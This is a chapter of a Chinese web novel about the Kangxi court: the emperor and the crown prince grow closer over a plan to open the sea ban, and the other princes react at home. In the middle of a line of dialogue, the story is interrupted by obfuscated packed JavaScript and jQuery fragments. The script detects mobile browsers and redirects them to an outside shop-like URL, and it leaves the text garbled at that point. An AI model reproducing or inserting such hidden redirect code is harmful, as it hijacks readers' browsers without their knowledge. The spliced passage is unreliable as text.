御书房一片寂静,只有康熙翻看奏折的声音。
其实奏折上写的要比明宸说得详细得多,但这只能算是一份建议,不过是每一条都写得很仔细,凡是他能想到的都写进去了。
他和胤禛商量后拟了这份奏折,两人特意没有写得很全面,毕竟他现在还是个皇子,可以有才有能,却不能完美到挑不出问题。
“皇阿玛,这是年节时提起海盗后,儿臣思前想后的一点建议,有很多不成熟的地方,若果真要开海禁,还需集思广益再进一步完善或是修改。”明宸不好意思地笑了下。
三爷在旁暗翻白眼,心说:显着你了,你这都不成熟,那我们这些个连说都说不上多少的得是什么样的?
其他皇子也多在心中暗骂:讨巧卖乖,假谦虚!
康熙点点头,把奏折递给了旁边的太子:“你看看。”
太子应了一声,恭敬接过看去了。
康熙就看向直郡王:“老大,你怎么说?”
直郡王带着笑意回道:“儿臣哪懂这些,自然是皇阿玛怎么吩咐儿臣怎么做,若是真要组建海军或是建船厂,儿臣愿协助督办。”
康熙心底暗叹,“协助督办”和“督办”差别多大?老大这是甘愿把自个儿放在协助的位置上,连要个主事都不敢了吗?
“皇阿玛,四弟的建议虽有不完善的地方,但确实可行。”太子合上奏折,笑着道,“不过还需商量出更全面的措施,方能实际推行。”
这话已经跳过同不同意,而是着眼于怎么办事了。
“那今天就先这样,回去都写个折子上来。”康熙看向众人,示意那些重臣先离开。
等他们都走了,御书房就只剩下康熙和诸位皇子了。
大家左右看看,十阿哥先笑了出来,接着其他皇子陆续都笑了,再看主位上的康熙,他也弯了唇角。
五贝勒抬眼扫了一圈,低声道:“兄弟齐心,其利断金,父子相合,政通人和……”
坐在他左右的三爷和明宸都听到了这话,明宸笑着点头,声音大了些:“正如五弟所言,‘兄弟齐心,其利断金,父子相合,政通人和’!”
康熙眼睛都漫上了笑意,这就是他今儿最大的收获,比有人替他开口怼那些老臣更高兴。
“各自回去写折子吧,对此事如何想的、想到了什么,都写一写,回头朕和太子一起看看。”康熙摆摆手让他们回去,只留了太子在身边。
父子俩难得一起走走,太子落后康熙半个身位,伺候的人都远远跟着。
“保成啊,方才朕没有问你,今儿这事……你怎么想的?”康熙心提着,很担心这孩子一开口又是如往常那般老生常谈的套话。
“阿玛,儿子觉得此事要推行,无外乎‘人尽其才’四字。”太子心里转了一圈,本想像往常一样说些“不敢擅专”、“儿臣惶恐”之类的话,但开口之时又想到了今儿与众不同的老四,便鼓了鼓勇气直接说了。
一听称呼,康熙心就安了一半,再听他这么说,便驻足回头,温和地问:“何谓‘人尽其才’?”
“让兄弟们依着所擅之事各领一样差事,众人齐心协力做好各项准备,如此再推行开海就万无一失了。”
“保成……愿让他们当差办事?”康熙心颤了颤,征询似的看他。
太子一怔,听到这话才意识到,为何兄弟们至今都没有正经差事,说是去各部衙门,可正经算起来是没有实际差事的,原来……他的阿玛是顾忌着他,才压着兄弟们的吗?
这几年看着皇阿玛夸一句这个、赏一回那个,他还以为这是要扶持兄弟们好平衡他这个储君,而今才明白,这里面其实还有一层安抚之意。
他动了动唇,忽地笑起来:“为何不愿?他们自幼受阿玛指派的大儒教导,即便称不上个顶个的文武全才,也各有擅长,不去当差办事得多浪费?”
康熙良久无言,他抬手拍了拍太子的胳膊,眼中露出动容之色:“好,好好,朕……知道了,朕的保成……很好!”
几年了,父子俩鲜少有这般亲近的时候,每次见面多是为了政事,为了某些大臣,或是赫舍里家、佟家,他们看到彼此最多的是冷淡的眼神、恭敬沉默的姿态,一个在防备,一个在隐忍,却再说不出如早年那般亲昵的话,即便是关切、关心,也好似公事公办、走流程一般。
太子主动扶住康熙的胳膊,声音低了些、软了些:“阿玛,儿子扶您回去吧,风大了,仔细吹了冷风头疼。”
“好,今儿和朕一起用膳吧,行吗?”康熙拍拍扶着他的手,温言软语的,“让他们做些你爱吃的菜。”
“儿子这几年口味变了,不大爱吃以前爱吃的了。”而立之年的儿子了,可这一瞬他鬼使神差的,下意识就带点撒娇口吻说了这么一句。
“不爱吃就换,人大了口味变了有甚奇怪?朕还能短了你一口吃的?”康熙笑出声,转头就道,“梁九功,让人去御膳房,做些太子近来爱吃的菜,朕也跟着一起尝尝。”
“嗻,奴才这就去!”梁九功身子弯得很低,忙不迭去传话了。
这边父子俩温情脉脉,相互对视时眼神都能拉丝,亲亲热热吃了一顿饭,你给我夹一口、我给你夹一口的,这情景也就太子小时候有过。
而出了宫的其他皇子们各回各家不久,就陆续收到了自家皇阿玛和太子一起用膳的消息,因着旁边伺候的人不少,连具体情景都传出来了。
直郡王今儿本来挺高兴的,一听这消息,脱了靴子往地上一扔,冷着脸就躺榻上了。
“这是怎么了?刚回来不是还好好的,妾身就让人准备了个饭菜的功夫,怎么就掉脸子了?”大福晋掀了帘子进来,先扫了眼地上歪七扭八扔着的靴子,又看向背身朝里躺在榻上的男人,实在费解得很。
“没事,爷躺躺就好。”直郡王心里清楚,皇阿玛对太子的宠爱纵容那是打小养成的,这些年瞧着对他也很宠爱,可实际上心里最疼爱的儿子还是太子。
心里挺明白,但一遇上事吧,人就难免失落,他常常觉得,他看不惯太子,有很大原因其实是皇阿玛造成的。
暗自叹息一声,直郡王翻身起来了,扯了脚上的袜子,光着脚去洗脸了。
大福晋在后面拿着便鞋跟上:“哎哎,爷倒是穿个鞋啊,这时节地上凉着呢,再做下病怎么好?您也不是十来岁的大小伙子了,再过几年都能当玛法了,不多注意身子哪行?”
直郡王听到这话,立马停下了,由着大福晋把便鞋放到脚下,自个儿一脚一个套上,在大福晋起身时他伸手拉了一把,叹道:“你说的是,都快要做祖父了,为了大格格她们,爷也得再拼一把!”
“拼一把?拼啥,您倒是说明白啊,别是又要干啥麻烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222911|180148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事儿吧?”大福晋一听这话,心就悬起来了,只觉得七上八下的不得安稳。
“没事,好事,真要干成了,爷就给咱闺女求赐婚去,别处都不去,就嫁京里!”直郡王心跟针扎似的,看老妻一副心慌担忧的样子,便知道这几年她没少担惊受怕。
罢了,只要能挣脱出如今这被困住的处境,还有什么可争的?他得护着老妻平安,护着孩子们不受欺负,他……不再是年少时一身冲劲的大阿哥了!
“真能嫁京里吗?”大福晋有些不敢相信,“虽说这两年抚蒙的少了,但咱家的格格……免不了吧?”
直郡王撩水洗着脸,被水一激脑子越发清醒了,他接过大福晋递的帕子擦脸,笑得很自信:“安心,爷说能就能,大不了爷拿功劳换,你啊,有空先悄悄寻摸人选,只别露了声气,免得坏了事。”
“那妾身可真相看人去了?”
“嗯,去吧,少则一年,多则三年,爷定能求了赐婚旨意来。”
三十岁出头的直郡王下定决心了,当天回到毓庆宫的太子,也在心里琢磨起来。
太子妃端了养身汤来递给他:“您和皇阿玛饮酒了?”
“小酌了两杯,不是烈酒。”太子接了汤有一口没一口喝着,“你这是和四弟妹学的?听四弟说,他在家都见不着茶。”
太子妃笑了:“之前太医来请平安脉,妾身问了太医,确实老喝茶不好,倒是这些汤汤水水的,应着季节喝了挺好,长期坚持多少也有些养身效果……您平日劳心劳神的,怎么补养都不为过。”
太子一手拿着汤,一手探过去拍了拍她交叠在膝上的手,“若不是你时时盯着,我这身子怕是难有这般康健。”
这几年他很难安枕,心里存的事太多,日日揣测皇阿玛的每一句话、每一个举动代表的意思,还承受着一年年长大的兄弟们给予的压力,说实话,便是皇阿玛多夸了哪个兄弟几句,他都忧心得半宿半宿睡不着。
太子妃垂了眼睑,抿唇笑了笑:“不过是为妻本分,也是您愿意由着妾身安排,没有您配合,妾身再怎么盯着也是无济于事的。”
太子握了握她的手,片刻后,低声道:“这些年住在宫里憋闷了吧?”
太子妃心头微动,这是什么意思?她抬头投以疑问之色。
太子轻笑了一声:“你比我强些,至少出嫁前是在宫外的,而我……人生过半了,鲜少能自在地出门转转,我有时候挺羡慕其他兄弟的,他们长大了、成婚了,就能出宫开府,像是老九,怕是京城街面上的铺子都逛熟了,再比如老十,估摸着凡是京城里好吃的东西,他肯定都吃过来了。”
太子妃默默听着,心里也有些同情他,说是天潢贵胄、尊贵非凡,仔细想来确实还不如勋贵人家的孩子活得舒坦。
“瞧我,又跟你发牢骚了。”太子叹口气,喝完养身汤,试探着问,“若是能住到宫外,你……会怪我吗?”
太子妃心神骤紧,这话是什么意思?朝中出了什么变故?还是皇阿玛对太子的防备越重了?可今儿不是还一起用膳了?
“您别多想,皇阿玛自来是疼您的。”太子妃反握住他的手,认真道,“便是真有什么事,一家人在一处就好!”
太子知道她这是想歪了,也没解释,只回握了一下她的手就松开了:“无事,我就是感慨一下,放心吧,我会护着你们的!”